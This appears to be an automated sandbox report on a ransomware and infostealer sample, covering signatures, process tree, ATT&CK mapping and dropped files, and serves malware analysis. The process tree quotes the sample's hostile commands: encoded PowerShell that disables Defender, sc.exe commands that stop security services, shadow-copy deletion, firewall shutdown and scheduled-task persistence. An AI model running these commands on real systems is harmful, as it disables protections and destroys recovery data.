Overview

overview

10

Static

static

10

2026-04-23...ry.exe

windows10-2004-x64

10

2026-04-23...ry.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/04/2026, 02:55

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General

  • Target
    2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 51KB
  • Sample260423-defjmsht5w
  • SHA256 bd076ce5de8db453af9179379944c1e811fd23867a45acb14a98d112b7128599
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Detects ransomware indicator 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 5 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • EICAR Anti-Malware test file 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3600
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1764
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4388
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4468
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2108
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2664
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4652
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3724
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3960
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:1280
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:3240
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1640
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1160
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4940
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1768
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3788
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:3216
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2980
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3932
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4964
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:224
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2768
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2216
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2452
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:228
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4372
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:704
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:1388
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4852
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:1280
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:3956
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:2188
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:4576
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2808
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1760
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:2524
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:1700
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:1088
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:4360
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa39a1855 /state1:0x41c64e6d
                  1⤵
                  • Drops desktop.ini file(s)
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:2104
                • C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:4644
                  • C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:4144
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4864
                    • C:\Windows\System32\RuntimeBroker.exe
                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                      1⤵
                        PID:3956

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            System Services

                            2
                            T1569

                            Service Execution

                            2
                            T1569.002

                            Windows Management Instrumentation

                            1
                            T1047

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Create or Modify System Process

                            4
                            T1543

                            Windows Service

                            4
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Create or Modify System Process

                            4
                            T1543

                            Windows Service

                            4
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Defense Evasion

                            Direct Volume Access

                            1
                            T1006

                            Impair Defenses

                            3
                            T1562

                            Disable or Modify System Firewall

                            1
                            T1562.004

                            Disable or Modify Tools

                            1
                            T1562.001

                            Indicator Removal

                            2
                            T1070

                            File Deletion

                            2
                            T1070.004

                            Modify Registry

                            3
                            T1112

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Unsecured Credentials

                            1
                            T1552

                            Credentials In Files

                            1
                            T1552.001

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Process Discovery

                            1
                            T1057

                            Query Registry

                            2
                            T1012

                            System Information Discovery

                            4
                            T1082

                            Lateral Movement

                            Collection

                            Data from Local System

                            1
                            T1005

                            Command and Control

                            Exfiltration

                            Impact

                            Defacement

                            1
                            T1491

                            Inhibit System Recovery

                            2
                            T1490

                            Service Stop

                            2
                            T1489

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            LockScreen___1920_1080_notdimmed.jpg
                            • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-745935970-1373868228-562466063-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                            • Size 616KB
                            • SHA256 9df49f34fc50e297daa4202afce06a5a152a8bfa428bfb3708d773176ee4b01c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            doc_3.pdf
                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 68KB
                            • SHA256 312ff510d3194bafebcd3b06c2502be1ec0d54fc10510f76cd42b562cf939cf9
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-23_f15ed044b29a96492ecade2bf7935036_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                            • Size 660B
                            • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            __PSScriptPolicyTest_0qxsqyn4.sma.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qxsqyn4.sma.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            createshortcut.vbs
                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 309B
                            • SHA256 885cda66f1e825d7730b918d3fd5ff29199dfc83c2b131eb630721664bbec396
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            del.bat
                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            makelnk.vbs
                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 310B
                            • SHA256 0b0f053a3f1cae3f64e1eb6fae7d19e50839d49f7189b532e329b56dcddf954c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            eicar_extra.com
                            • Path C:\Users\Admin\Documents\eicar_extra.com
                            • Size 68B
                            • SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            sysupdate.exe
                            • Path C:\Windows\System32\sysupdate.exe
                            • Size 51KB
                            • SHA256 bd076ce5de8db453af9179379944c1e811fd23867a45acb14a98d112b7128599
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            memory/2188-2272-0x0000019AC3620000-0x0000019AC3621000-memory.dmp
                            Download

                            memory/3240-2241-0x0000029973A70000-0x0000029973A7C000-memory.dmp
                            Download

                            memory/3600-1936-0x000001A9DC9F0000-0x000001A9DC9FC000-memory.dmp
                            Download

                            memory/3600-1295-0x000001A9F4D50000-0x000001A9F4D72000-memory.dmp
                            Download

                            memory/3956-2266-0x000001E0174E0000-0x000001E0174EC000-memory.dmp
                            Download

                            memory/4696-0-0x00000000008B0000-0x00000000008C4000-memory.dmp
                            Download

                            memory/4696-17-0x000000001E430000-0x000000001E958000-memory.dmp
                            Download

                            memory/4696-16-0x000000001DB60000-0x000000001DD22000-memory.dmp
                            Download

                            memory/4696-1-0x0000000001090000-0x00000000010A0000-memory.dmp
                            Download

                            memory/4696-2286-0x0000000001090000-0x00000000010A0000-memory.dmp
                            Download

                            memory/4696-2285-0x0000000001060000-0x000000000106C000-memory.dmp
                            Download